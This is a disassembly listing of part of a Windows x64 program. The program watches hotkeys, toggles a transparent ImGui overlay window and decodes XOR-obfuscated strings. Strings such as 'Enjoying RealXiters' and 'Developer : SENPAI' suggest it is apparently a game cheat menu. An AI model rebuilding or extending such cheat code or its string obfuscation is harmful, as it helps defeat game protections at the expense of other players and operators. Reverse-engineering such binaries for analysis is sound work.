mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x14005fc70
movzx r13d, byte [rsp + 0x60]
mov dword [rbp + 8], ebx
movzx ebx, byte [rsp + 0x60]
cmp byte [rbp + 8], al
jne 0x1400691bb
mov ecx, dword [0x1401c1248]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x14005fd9f
movzx edx, r12b
lea rcx, [rbp + 0x10]
call fcn.1400480a0
mov r8d, 2
lea rdx, [0x140178314]
lea rcx, [rbp + 0x10]
call fcn.1400480c0
movzx edx, r14b
lea rcx, [rbp + 0x48]
call fcn.1400480a0
xor r8d, r8d
lea rdx, [0x140168bba]
lea rcx, [rbp + 0x48]
call fcn.1400480c0
movzx edx, r15b
lea rcx, [rbp - 0x40]
call fcn.1400480a0
xor r8d, r8d
lea rdx, [0x140168bba]
lea rcx, [rbp - 0x40]
call fcn.1400480c0
movzx edx, dil
lea rcx, [rbp - 0x18]
call fcn.1400480a0
mov r8d, 2
lea rdx, [0x140178314]
lea rcx, [rbp - 0x18]
call fcn.1400480c0
lea rax, [rbp + 0x10]
movabs r9, 0x7fffffffffff
mov qword [rsp + 0x30], rax
lea rdx, [rbp - 0x18]
lea rax, [rbp + 0x48]
xor r8d, r8d
mov qword [rsp + 0x28], rax
lea rcx, [0x1401c0210]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x20], rax
call fcn.140056980
mov ecx, dword [0x1401c124c]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x14005fe73
movzx edx, sil
lea rcx, [rbp + 0x10]
call fcn.1400480a0
mov r8d, 2
lea rdx, [0x140178348]
lea rcx, [rbp + 0x10]
call fcn.1400480c0
movzx edx, r13b
lea rcx, [rbp + 0x48]
call fcn.1400480a0
xor r8d, r8d
lea rdx, [0x140168bba]
lea rcx, [rbp + 0x48]
call fcn.1400480c0
movzx edx, byte [rsp + 0x61]
lea rcx, [rbp - 0x40]
call fcn.1400480a0
xor r8d, r8d
lea rdx, [0x140168bba]
lea rcx, [rbp - 0x40]
call fcn.1400480c0
movzx edx, byte [rsp + 0x61]
lea rcx, [rbp - 0x18]
call fcn.1400480a0
mov r8d, 2
lea rdx, [0x140178348]
lea rcx, [rbp - 0x18]
call fcn.1400480c0
lea rax, [rbp + 0x10]
movabs r9, 0x7fffffffffff
mov qword [rsp + 0x30], rax
lea rdx, [rbp - 0x18]
lea rax, [rbp + 0x48]
xor r8d, r8d
mov qword [rsp + 0x28], rax
lea rcx, [0x1401c0210]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x20], rax
call fcn.140056980
mov ecx, dword [0x1401c1238]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x14005ff49
movzx edx, byte [rsp + 0x61]
lea rcx, [rbp + 0x10]
call fcn.1400480a0
mov r8d, 2
lea rdx, [0x140178380]
lea rcx, [rbp + 0x10]
call fcn.1400480c0
movzx edx, byte [rsp + 0x61]
lea rcx, [rbp + 0x48]
call fcn.1400480a0
xor r8d, r8d
lea rdx, [0x140168bba]
lea rcx, [rbp + 0x48]
call fcn.1400480c0
movzx edx, byte [rsp + 0x61]
lea rcx, [rbp - 0x40]
call fcn.1400480a0
xor r8d, r8d
lea rdx, [0x140168bba]
lea rcx, [rbp - 0x40]
call fcn.1400480c0
movzx edx, byte [rsp + 0x61]
lea rcx, [rbp - 0x18]
call fcn.1400480a0
mov r8d, 2
lea rdx, [0x140178380]
lea rcx, [rbp - 0x18]
call fcn.1400480c0
lea rax, [rbp + 0x10]
movabs r9, 0x7fffffffffff
mov qword [rsp + 0x30], rax
lea rdx, [rbp - 0x18]
lea rax, [rbp + 0x48]
xor r8d, r8d
mov qword [rsp + 0x28], rax
lea rcx, [0x1401c0210]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x20], rax
call fcn.140056980
mov ecx, dword [0x1401c123c]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x14005ff60
mov byte [0x1401c127e], 1
call fcn.14004a800
call fcn.14004b660
mov ecx, reloc.WLDAP32.dll_Ordinal_45
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x14005ff87
cmp byte [reloc.WS2_32.dll_accept], 0
sete byte [0x1401c0370]
mov ecx, reloc.WLDAP32.dll_Ordinal_46
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
jne 0x1400692aa
mov rax, qword [0x1401c1200]
test rax, rax
jne 0x14005ffc7
mov r8d, 0xfe8
lea rdx, str.C:UserswaaxsPicturesApp_PlayerProjectgrifo_fixedimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1401c1200]
movss xmm0, dword [rax + 0x18]
mov ecx, dword [0x140194104]
mulss xmm0, xmm6
cmp ecx, 0xff
jg 0x14005ffee
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x14005ffee
mov eax, Ordinal_301
jmp 0x14005fff0
xor eax, eax
sub eax, ecx
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm0
movd xmm0, ecx
cvtdq2ps xmm0, xmm0
addss xmm1, xmm0
cvttss2si r8d, xmm1
mov dword [0x140194104], r8d
cmp r8d, 0xff
jle 0x14006002d
mov dword [0x140194104], 0xff
mov r8d, 0xff
mov rcx, qword [0x1401c1240]
xor edx, edx
lea r9d, [rdx + 2]
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
mov rcx, qword [0x1401c1240]
xor edx, edx
cmp dword [0x140194104], edx
mov eax, 5
cmovg edx, eax
call qword [sym.imp.USER32.dll_ShowWindow]
call fcn.140009040
mov rax, qword [0x1401c1200]
test rax, rax
jne 0x14006008f
mov r8d, 0xfe8
lea rdx, str.C:UserswaaxsPicturesApp_PlayerProjectgrifo_fixedimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1401c1200]
movss xmm3, dword [rax + 0x18]
lea r8, [rbp + 0x570]
movss xmm0, dword [0x1401c0360]
lea rdx, [0x1401f6e98]
movss xmm1, dword [0x1401c0364]
lea rcx, [rbp + 0x940]
movss xmm2, dword [0x1401c0368]
mov dword [rbp + 0x104], 0x3f800000
movups xmm4, xmmword [rbp + 0xf8]
mulss xmm3, xmm6
movss xmm4, xmm0
shufps xmm4, xmm4, 0xe1
movss xmm4, xmm1
shufps xmm4, xmm4, 0xc6
movss xmm4, xmm2
shufps xmm4, xmm4, 0xc9
movups xmmword [rbp + 0xf8], xmm4
movups xmmword [rbp + 0x570], xmm4
call fcn.140054a50
movups xmm0, xmmword [rax]
mov rax, qword [0x1401c1200]
movups xmmword [0x1401f6e98], xmm0
test rax, rax
jne 0x140060138
mov r8d, 0xfe8
lea rdx, str.C:UserswaaxsPicturesApp_PlayerProjectgrifo_fixedimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1401c1200]
movss xmm3, dword [rax + 0x18]
lea r8, [rbp + 0x580]
movss xmm0, dword [0x1401c0360]
lea rdx, [0x1401f6f38]
movss xmm1, dword [0x1401c0364]
lea rcx, [rbp + 0x950]
movss xmm2, dword [0x1401c0368]
mov dword [rbp + 0x114], 0x3f800000
movups xmm4, xmmword [rbp + 0x108]
mulss xmm0, xmm8
mulss xmm1, xmm8
movss xmm4, xmm0
mulss xmm2, xmm8
shufps xmm4, xmm4, 0xe1
movss xmm4, xmm1
mulss xmm3, xmm6
shufps xmm4, xmm4, 0xc6
movss xmm4, xmm2
shufps xmm4, xmm4, 0xc9
movups xmmword [rbp + 0x108], xmm4
movups xmmword [rbp + 0x580], xmm4
call fcn.140054a50
movups xmm0, xmmword [rax]
mov rax, qword [0x1401c1200]
movups xmmword [0x1401f6f38], xmm0
test rax, rax
jne 0x1400601f0
mov r8d, 0xfe8
lea rdx, str.C:UserswaaxsPicturesApp_PlayerProjectgrifo_fixedimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1401c1200]
movss xmm3, dword [rax + 0x18]
lea r8, [rbp + 0x590]
movss xmm0, dword [0x1401c0360]
lea rdx, [0x1401f6e48]
movss xmm1, dword [0x1401c0364]
lea rcx, [rbp + 0x8cc]
movss xmm2, dword [0x1401c0368]
mov dword [rbp + 0x124], 0x3f800000
movups xmm4, xmmword [rbp + 0x118]
mulss xmm0, xmm8
mulss xmm1, xmm8
movss xmm4, xmm0
mulss xmm2, xmm8
shufps xmm4, xmm4, 0xe1
movss xmm4, xmm1
mulss xmm3, xmm6
shufps xmm4, xmm4, 0xc6
movss xmm4, xmm2
shufps xmm4, xmm4, 0xc9
movups xmmword [rbp + 0x118], xmm4
movups xmmword [rbp + 0x590], xmm4
call fcn.140054a50
movups xmm0, xmmword [rax]
mov rax, qword [0x1401c1200]
movups xmmword [0x1401f6e48], xmm0
test rax, rax
jne 0x1400602a8
mov r8d, 0xb71
lea rdx, str.C:UserswaaxsPicturesApp_PlayerProjectgrifo_fixedimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1401c1200]
xor ecx, ecx
mov qword [rax + 0x37e8], rcx
test rax, rax
jne 0x1400602d9
mov r8d, 0xb71
lea rdx, str.C:UserswaaxsPicturesApp_PlayerProjectgrifo_fixedimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1401c1200]
xor ecx, ecx
movss xmm3, dword [0x140194108]
movss xmm0, dword [0x14019410c]
mov dword [rax + 0x37f4], ecx
mov dword [rax + 0x382c], 0x41600000
mov dword [rax + 0x3830], 0x41600000
mov dword [rax + 0x3854], 0x40e00000
or dword [rax + 0x47b8], 0x10
cmp byte [0x14017a517], 0
movss xmm1, dword [rax + 0x10]
movss xmm2, dword [rax + 0x14]
shufps xmm3, xmm3, 0xe1
movss xmm3, xmm0
mov qword [rax + 0x4808], rcx
shufps xmm3, xmm3, 0xc6
movss xmm3, xmm1
mov qword [rax + 0x4810], rcx
shufps xmm3, xmm3, 0x27
movss xmm3, xmm2
shufps xmm3, xmm3, 0x39
movups xmmword [rax + 0x47f4], xmm3
mov eax, dword [str.uYS7_TESPVW]
mov dword [rsp + 0x64], eax
movups xmmword [rbp - 0x80], xmm3
je 0x140060431
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400603f1
movdqa xmm3, xmmword [0x14017aa10]
movdqa xmm2, xmm3
movdqa xmm0, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14017abe0]
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14017abe0]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.4444444444444444]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x64], xmm2
jmp 0x140060431
lea r9, [rsp + 0x64]
mov r8d, ecx
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x140060400
xor edx, edx
lea rcx, [rsp + 0x64]
mov r8d, 0x20bb
call fcn.14000f7e0
call fcn.140056170
mov rcx, qword [0x1401c1240]
lea rdx, [rbp + 0x128]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rcx, qword [0x1401c1200]
mov rax, qword [rcx + 0x3ee0]
movss xmm0, dword [rax + 0x18]
ucomiss xmm0, xmm9
jp 0x14006049b
jne 0x14006049b
lea rcx, [rbp + 0x500]
call fcn.140013120
movss xmm0, dword [rax + 4]
ucomiss xmm0, xmm9
jp 0x140060494
je 0x140060516
mov rcx, qword [0x1401c1200]
mov rax, qword [rcx + 0x3ee0]
mov r9d, 0x2da
movd xmm0, dword [rbp + 0x12c]
movd xmm1, dword [rbp + 0x128]
mov rcx, qword [0x1401c1240]
cvtdq2ps xmm0, xmm0
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0x1f4
cvtdq2ps xmm1, xmm1
addss xmm0, dword [rax + 0x1c]
addss xmm1, dword [rax + 0x18]
cvttss2si r8d, xmm0
cvttss2si edx, xmm1
call qword [sym.imp.USER32.dll_MoveWindow]
mov rcx, qword [0x1401c1200]
lea rdx, [rbp + 0x98]
xor r8d, r8d
mov qword [rbp + 0x98], 0
mov rcx, qword [rcx + 0x3ee0]
call fcn.140013140
call fcn.1400087c0
movss xmm1, dword [0x1401f6fbc]
mov rcx, qword [0x1401c1200]
movss xmm0, dword [0x1401f6fb8]
movss dword [rbp + 0x13c], xmm1
movss xmm1, dword [0x1401f6fc4]
mulss xmm1, dword [rcx + 0x37e0]
lea rcx, [rbp + 0x138]
mov qword [rbp - 0x60], rax
movss dword [rbp + 0x138], xmm0
movss xmm0, dword [0x1401f6fc0]
movss dword [rbp + 0x144], xmm1
movss dword [rbp + 0x140], xmm0
call fcn.140004110
lea rcx, [rbp + 0x508]
mov dword [rsp + 0x64], eax
call fcn.140016f20
lea rcx, [rbp + 0x510]
movss xmm6, dword [rax + 4]
call fcn.140016f20
mov rdx, qword [0x1401c1200]
lea r8, [rbp + 0xa8]
mov r9d, dword [rsp + 0x64]
mov dword [rsp + 0x28], 0
mov rcx, qword [rdx + 0x3ee0]
movss xmm0, dword [rcx + 0x18]
movss xmm1, dword [rcx + 0x1c]
addss xmm0, dword [rax]
mov rcx, qword [rbp - 0x60]
addss xmm1, xmm6
movss dword [rbp + 0xa8], xmm0
movss dword [rbp + 0xac], xmm1
mov rax, qword [rdx + 0x3ee0]
lea rdx, [rbp + 0x170]
movss xmm1, dword [0x14017a7d0]
movss dword [rsp + 0x20], xmm1
movsd xmm0, qword [rax + 0x18]
movsd qword [rbp + 0x170], xmm0
call fcn.140025af0
cmp dword [0x1401e6a28], 1
jne 0x1400606bc
call fcn.1400087c0
lea rcx, [0x1401f6fa8]
mov qword [rsp + 0x70], rax
call fcn.140004850
lea rcx, [rbp + 0x518]
mov dword [rsp + 0x64], eax
call fcn.140016f20
movss xmm1, dword [0x14017a87c]
lea rcx, [rbp + 0x520]
movss xmm2, dword [rax + 4]
call fcn.140001850
lea rcx, [rbp + 0x528]
mov qword [rbp - 0x60], rax
call fcn.140013120
mov r8, qword [rbp - 0x60]
lea rcx, [rbp + 0x530]
mov rdx, rax
call fcn.140054a20
lea rcx, [rbp + 0x538]
mov qword [rbp - 0x60], rax
call fcn.140013120
movss xmm0, dword [0x14017a7d0]
mov rdx, rax
mov r9d, dword [rsp + 0x64]
mov r8, qword [rbp - 0x60]
mov rcx, qword [rsp + 0x70]
mov dword [rsp + 0x28], 0x50
movss dword [rsp + 0x20], xmm0
call fcn.140025af0
call fcn.1400087c0
movss xmm1, dword [0x1401f6f3c]
mov rcx, qword [0x1401c1200]
movss xmm0, dword [0x1401f6f38]
movss dword [rbp + 0x14c], xmm1
movss xmm1, dword [0x1401f6f44]
mulss xmm1, dword [rcx + 0x37e0]
lea rcx, [rbp + 0x148]
mov qword [rsp + 0x70], rax
movss dword [rbp + 0x148], xmm0
movss xmm0, dword [0x1401f6f40]
movss dword [rbp + 0x154], xmm1
movss dword [rbp + 0x150], xmm0
call fcn.140004110
lea rcx, [rbp + 0x540]
mov dword [rsp + 0x64], eax
call fcn.140016f20
lea rcx, [rbp + 0x548]
movss xmm6, dword [rax + 4]
call fcn.140016f20
mov rdx, qword [0x1401c1200]
lea r8, [rbp + 0xb0]
mov r9d, dword [rsp + 0x64]
movss dword [rsp + 0x30], xmm14
mov dword [rsp + 0x28], 0
mov rcx, qword [rdx + 0x3ee0]
movss xmm0, dword [rcx + 0x18]
addss xmm0, dword [rax]
movss xmm1, dword [rcx + 0x1c]
mov rcx, qword [rsp + 0x70]
addss xmm1, xmm6
movss dword [rbp + 0xb0], xmm0
movss dword [rbp + 0xb4], xmm1
mov rax, qword [rdx + 0x3ee0]
lea rdx, [rbp + 0x178]
movsd xmm0, qword [rax + 0x18]
movsd qword [rbp + 0x178], xmm0
movss xmm0, dword [0x14017a7d0]
movss dword [rsp + 0x20], xmm0
call fcn.1400259e0
call fcn.1400087c0
movss xmm1, dword [0x1401f6e9c]
mov rcx, qword [0x1401c1200]
movss xmm0, dword [0x1401f6e98]
movss dword [rbp + 0xec], xmm1
movss xmm1, dword [0x1401f6ea4]
mulss xmm1, dword [rcx + 0x37e0]
lea rcx, [rbp + 0xe8]
mov qword [rsp + 0x70], rax
movss dword [rbp + 0xe8], xmm0
movss xmm0, dword [0x1401f6ea0]
movss dword [rbp + 0xf4], xmm1
movss dword [rbp + 0xf0], xmm0
call fcn.140004110
mov edx, eax
mov dword [rbp + 0xb8], 0x3f800000
mov rax, qword [0x1401c1200]
lea r9, [rbp + 0xc8]
mov dword [rbp + 0xbc], 0x3f800000
lea r8, [rbp + 0x78]
mov qword [rbp + 0xc0], 0
mov dword [rsp + 0x30], edx
mov rcx, qword [rax + 0x3ee0]
mov rdx, qword [0x1401c1270]
movss xmm0, dword [rcx + 0x18]
movss xmm1, dword [rcx + 0x1c]
addss xmm0, dword [0x14017a868]
addss xmm1, dword [0x14017a86c]
movss dword [rbp + 0xc8], xmm0
movss dword [rbp + 0xcc], xmm1
mov rax, qword [rax + 0x3ee0]
movss xmm0, dword [rax + 0x18]
movss xmm1, dword [rax + 0x1c]
lea rax, [rbp + 0xb8]
addss xmm0, dword [0x14017a82c]
addss xmm1, dword [0x14017a830]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xc0]
mov qword [rsp + 0x20], rax
movss dword [rbp + 0x78], xmm0
movss dword [rbp + 0x7c], xmm1
mov rcx, qword [rsp + 0x70]
call fcn.140026810
call fcn.1400087c0
lea rcx, [0x1401c02a0]
mov qword [rbp - 0x80], rax
call fcn.1400462c0
movss xmm1, dword [0x1401f6e6c]
mov rcx, qword [0x1401c1200]
movss xmm0, dword [0x1401f6e68]
movss dword [rbp + 0x15c], xmm1
movss xmm1, dword [0x1401f6e74]
mulss xmm1, dword [rcx + 0x37e0]
lea rcx, [rbp + 0x158]
mov qword [rbp - 0x60], rax
movss dword [rbp + 0x158], xmm0
movss xmm0, dword [0x1401f6e70]
movss dword [rbp + 0x164], xmm1
movss dword [rbp + 0x160], xmm0
call fcn.140004110
lea rcx, [0x1401c02a0]
mov dword [rsp + 0x64], eax
call fcn.1400462c0
lea rcx, [rbp + 0x550]
mov qword [rsp + 0x70], rax
call fcn.140016f20
mov rdx, qword [rsp + 0x70]
lea rcx, [rbp + 0x558]
xor r9d, r9d
movss dword [rsp + 0x20], xmm12
xor r8d, r8d
movss xmm6, dword [rax + 4]
call fcn.14000bbc0
subss xmm6, xmm7
xor edx, edx
lea r9, [rbp + 0x80]
movss xmm2, dword [rax + 4]
mov rax, qword [0x1401c1200]
mulss xmm2, xmm8
mov rcx, qword [rax + 0x3ee0]
xor eax, eax
mov qword [rsp + 0x40], rax
subss xmm6, xmm2
movss dword [rsp + 0x38], xmm9
movaps xmm2, xmm9
mov qword [rsp + 0x30], rax
movss xmm0, dword [rcx + 0x18]
movss xmm1, dword [rcx + 0x1c]
mov rax, qword [rbp - 0x60]
addss xmm6, xmm1
addss xmm0, dword [0x14017a7f8]
mov rcx, qword [rbp - 0x80]
mov qword [rsp + 0x28], rax
mov eax, dword [rsp + 0x64]
movss dword [rbp + 0x84], xmm6
movss dword [rbp + 0x80], xmm0
mov dword [rsp + 0x20], eax
call fcn.140026580
mov eax, dword [0x1401e6a28]
test eax, eax
jne 0x140060a2e
call fcn.14005bd00
mov eax, dword [0x1401e6a28]
cmp eax, 1
jne 0x14006913d
xor ecx, ecx
call fcn.140054100
mov edx, dword [rsp + 0x64]
lea rcx, [rbp - 0x40]
mov qword [rsp + 0x70], rax
call fcn.140054a70
mov rcx, rax
call fcn.1400462c0
movzx edx, bl
mov qword [rbp - 0x80], rax
lea rcx, [rbp + 0x10]
call fcn.1400480a0
mov rax, qword [rbp - 0x80]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140060a73
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.1400480c0
lea rcx, [rbp - 0x40]
call fcn.1400462f0
lea rdx, str.Enjoying_RealXiters
lea rcx, [rbp + 0x48]
call fcn.1400463e0
xorps xmm0, xmm0
lea rdx, [rbp + 0x7c0]
xor r9d, r9d
lea rcx, str.1211339163668975647
movups xmmword [rbp + 0x7c0], xmm0
movups xmmword [rbp + 0x7d0], xmm0
lea r8d, [r9 + 1]
movups xmmword [rbp + 0x7e0], xmm0
call fcn.14004e0d0
xorps xmm0, xmm0
lea rcx, [rbp + 0x48]
movups xmmword [rbp + 0x5e0], xmm0
movups xmmword [rbp + 0x5f0], xmm0
movups xmmword [rbp + 0x600], xmm0
movups xmmword [rbp + 0x610], xmm0
movups xmmword [rbp + 0x620], xmm0
movups xmmword [rbp + 0x630], xmm0
movups xmmword [rbp + 0x640], xmm0
call fcn.1400462c0
mov qword [rbp + 0x5e0], rax
lea rdx, [rbp + 0x75b]
mov rax, qword [rsp + 0x70]
lea rcx, [rsp + 0x60]
mov qword [rbp + 0x5f0], rax
lea rax, str.https:__i.gifer.com_3Oikk.gif
mov qword [rbp + 0x600], rax
mov byte [rsp + 0x60], 0
call fcn.140069360
mov r10, rax
cmp byte [rax + 0xb], 0
je 0x140060ca1
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140060c63
movdqa xmm2, xmmword [0x14017aa10]
mov r8d, 8
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x14017aa30]
movdqa xmm0, xmm2
mov eax, dword [str.4444444444444444]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x140060c70
lea rax, str.https:__i.gifer.com_VhdL.gif
mov qword [rbp + 0x608], r10
mov qword [rbp + 0x610], rax
lea rcx, [rbp + 0x5e0]
lea rax, str.Developer_:_SENPAI
mov qword [rbp + 0x618], rax
call fcn.14004e920
call fcn.1400087c0
lea rcx, [0x1401f6f38]
mov qword [rbp - 0x60], rax
call fcn.140004850
lea rcx, [rbp + 0x5b0]
mov dword [rsp + 0x64], eax
call fcn.140016f20
movss xmm6, dword [0x14017a87c]
lea rcx, [rbp + 0x5b8]
movaps xmm1, xmm6
movss xmm2, dword [rax + 4]
call fcn.140001850
lea rcx, [rbp + 0x5c0]
mov qword [rbp - 0x80], rax
call fcn.140013120
mov r8, qword [rbp - 0x80]
lea rcx, [rbp + 0x5c8]
mov rdx, rax
call fcn.140054a20
movaps xmm2, xmm9
mov qword [rsp + 0x70], rax
movaps xmm1, xmm6
lea rcx, [rbp + 0x5d0]
call fcn.140001850
lea rcx, [rbp + 0x5d8]
mov qword [rbp - 0x80], rax
call fcn.140013120
mov r8, qword [rbp - 0x80]
lea rcx, [rbp + 0x220]
mov rdx, rax
call fcn.140054a20
mov r9d, dword [rsp + 0x64]
mov rdx, rax
mov r8, qword [rsp + 0x70]
mov rcx, qword [rbp - 0x60]
movss dword [rsp + 0x20], xmm14
call fcn.140025880
call fcn.1400087c0
lea rcx, [0x1401f6f38]
mov qword [rbp - 0x60], rax
call fcn.140004850
movss xmm1, dword [0x14017a878]
lea rcx, [rbp + 0x228]
movaps xmm2, xmm6
mov dword [rsp + 0x64], eax
call fcn.140001850
lea rcx, [rbp + 0x230]
mov qword [rbp - 0x80], rax
call fcn.140013120
mov r8, qword [rbp - 0x80]
lea rcx, [rbp + 0x238]
mov rdx, rax
call fcn.140054a20
movss xmm1, dword [0x14017a7a0]
lea rcx, [rbp + 0x240]
movaps xmm2, xmm6
mov qword [rsp + 0x70], rax
call fcn.140001850
lea rcx, [rbp + 0x248]
mov qword [rbp - 0x80], rax
call fcn.140013120
mov r8, qword [rbp - 0x80]
lea rcx, [rbp + 0x250]
mov rdx, rax
call fcn.140054a20
mov r9d, dword [rsp + 0x64]
mov rdx, rax
mov r8, qword [rsp + 0x70]
mov rcx, qword [rbp - 0x60]
movss dword [rsp + 0x20], xmm14
call fcn.140025880
call fcn.140008810
mov qword [rsp + 0x70], rax
lea rcx, [0x1401f6f38]
call fcn.140004850
movss xmm0, dword [0x14017a854]
lea rcx, [rbp + 0x258]
movaps xmm2, xmm0
mov dword [rsp + 0x64], eax
movaps xmm1, xmm0
call fcn.140001850
lea rcx, [rbp + 0x260]
mov qword [rbp - 0x80], rax
call fcn.140013120
mov r8, qword [rbp - 0x80]
lea rcx, [rbp + 0x268]
mov rdx, rax
call fcn.140054a20
mov r9d, dword [rsp + 0x64]
mov rdx, rax
movss xmm2, dword [0x14017a844]
mov rcx, qword [rsp + 0x70]
movss dword [rsp + 0x28], xmm10
mov dword [rsp + 0x20], 0x64
call fcn.1400264c0
call fcn.1400087c0
lea rcx, [0x1401f6fa8]
mov qword [rbp - 0x60], rax
call fcn.140004850
lea rcx, [rbp + 0x270]
mov dword [rsp + 0x64], eax
call fcn.140016f20
lea rcx, [rbp + 0x278]
movss xmm6, dword [rax + 4]
call fcn.140016f20
mov rcx, qword [0x1401c1200]
mov rdx, qword [rcx + 0x3ee0]
lea rcx, [rbp + 0x280]
movss xmm0, dword [rdx + 0x18]
movss xmm1, dword [rdx + 0x1c]
addss xmm0, dword [rax]
addss xmm1, xmm6
movss dword [rbp + 0x88], xmm0
movss dword [rbp + 0x8c], xmm1
call fcn.140016f20
test dword [rsp + 0x64], 0xff000000
movss xmm2, dword [rax + 4]
mov rax, qword [0x1401c1200]
subss xmm2, xmm15
mov rcx, qword [rax + 0x3ee0]
movss xmm0, dword [rcx + 0x18]
movss xmm1, dword [rcx + 0x1c]
addss xmm0, xmm9
addss xmm2, xmm1
movss dword [rbp + 0x90], xmm0
movss dword [rbp + 0x94], xmm2
je 0x140060fa6
movss xmm3, dword [0x14017a7d0]
lea r8, [rbp + 0x88]
mov rcx, qword [rbp - 0x60]
lea rdx, [rbp + 0x90]
mov dword [rsp + 0x20], 0xc0
call fcn.140025310
mov edx, dword [rsp + 0x64]
mov rcx, qword [rbp - 0x60]
call fcn.1400019b0
call fcn.1400087c0
lea rcx, [0x1401f6f38]
mov qword [rbp - 0x60], rax
call fcn.140004850
lea rcx, [rbp + 0x288]
mov dword [rsp + 0x64], eax
call fcn.140016f20
lea rcx, [rbp + 0x290]
movss xmm6, dword [rax + 4]
subss xmm6, xmm15
call fcn.140016f20
movaps xmm2, xmm6
lea rcx, [rbp + 0x298]
movss xmm1, dword [rax]
call fcn.140001850
lea rcx, [rbp + 0x2a0]
mov qword [rbp - 0x80], rax
call fcn.140013120
mov r8, qword [rbp - 0x80]
lea rcx, [rbp + 0x2a8]
mov rdx, rax
call fcn.140054a20
lea rcx, [rbp + 0x2b0]
mov qword [rsp + 0x70], rax
call fcn.140016f20
movaps xmm1, xmm9
